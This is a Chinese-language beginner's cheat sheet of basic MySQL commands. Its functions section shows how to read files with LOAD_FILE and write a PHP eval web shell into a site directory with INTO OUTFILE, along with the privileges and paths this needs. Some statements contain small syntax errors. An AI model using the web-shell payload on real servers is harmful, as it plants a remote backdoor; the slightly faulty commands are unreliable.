mysql数据库基本命令
1.登录数据库
mysql -uroot -proot
2.新建/删除数据库
新建:create database test;
删除:drop database test;
3.打开数据库
use test
4.当前选择的库字段
select database();
5.显示数据库表字段
describe users;
6.当前库数据表结构
show tables;
7.创建数据表
语法:CREATE TABLE [表名]([字段名] 字段类型 [字段参数], …);
例如:
create table user(
id int(11) NOT NULL,
username varchar(255),
password varchar(255),
primary key(id)
)charset=utf8;
8.更改数据表
语法:
ALTER TABLE [表名] ADD COLUMN [字段名] DATATYPE
ALTER TABLE [表名] ADD PRIMARY KEY ([字段名])
例如:
alter table users add column email varchar(50);
说明:更改表的定义把某个栏位设为主键。
TABLE [表名] DROP PRIMARY KEY ([字段名])
显示ALTER当前表字段:
show columns from tablename;
9.增删改查
a.添加
语法:INSERT INTO [表名] VALUES(‘’,‘’,…顺序排列的数据);
例如:insert user values(0,'1','123456');
b.查询
语法: SELECT * FROM [表名] WHERE ([条件]);
例如:select * from users where id=1;
c.删除
语法:DELETE FROM [表名] WHERE ([条件]);
例如:delete from users where id=1;
d.修改
语法:UPDATE [表名] SET [修改内容] WHERE [条件];
例如:update users set name = 'my404.cn' where id=1;
10.常用函数
database()
user()
version()
SELECT LOAD_FILE(‘/1.php’);
select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'
select'<?php @eval($_POST[chabug]);?>'INTO OUTFILE 'E:\Web\errors.php’
限制条件:
1)需要知道Web目录的绝对路径。
2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on . to root@localhost;
3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。
select host from mysql.user into dumpfile '/tmp/user1.txt’;
限制条件:
只能导出一行。可执行2进制文件用into outfile函数导出,导出后就会被破坏
11.secure_file_priv
MySQL不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:
查看配置项:
SHOW VARIABLES LIKE "secure_file_priv“
如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:
select 123 into outfile '/var/lib/mysql-files/test1.txt '
限制mysqld 不允许导入 | 导出:
mysqld --secure_file_prive=null
限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:
mysqld --secure_file_priv=/tmp/
不对mysqld 的导入 | 导出做限制:
cat /etc/my.conf
[mysqld]
secure_file_priv=
数据库版本很重要!
注:以上数据库名为:test,表名为:users,仅当举例,可以不同。
本人小白一枚,如果各位老哥发现错误,还望指出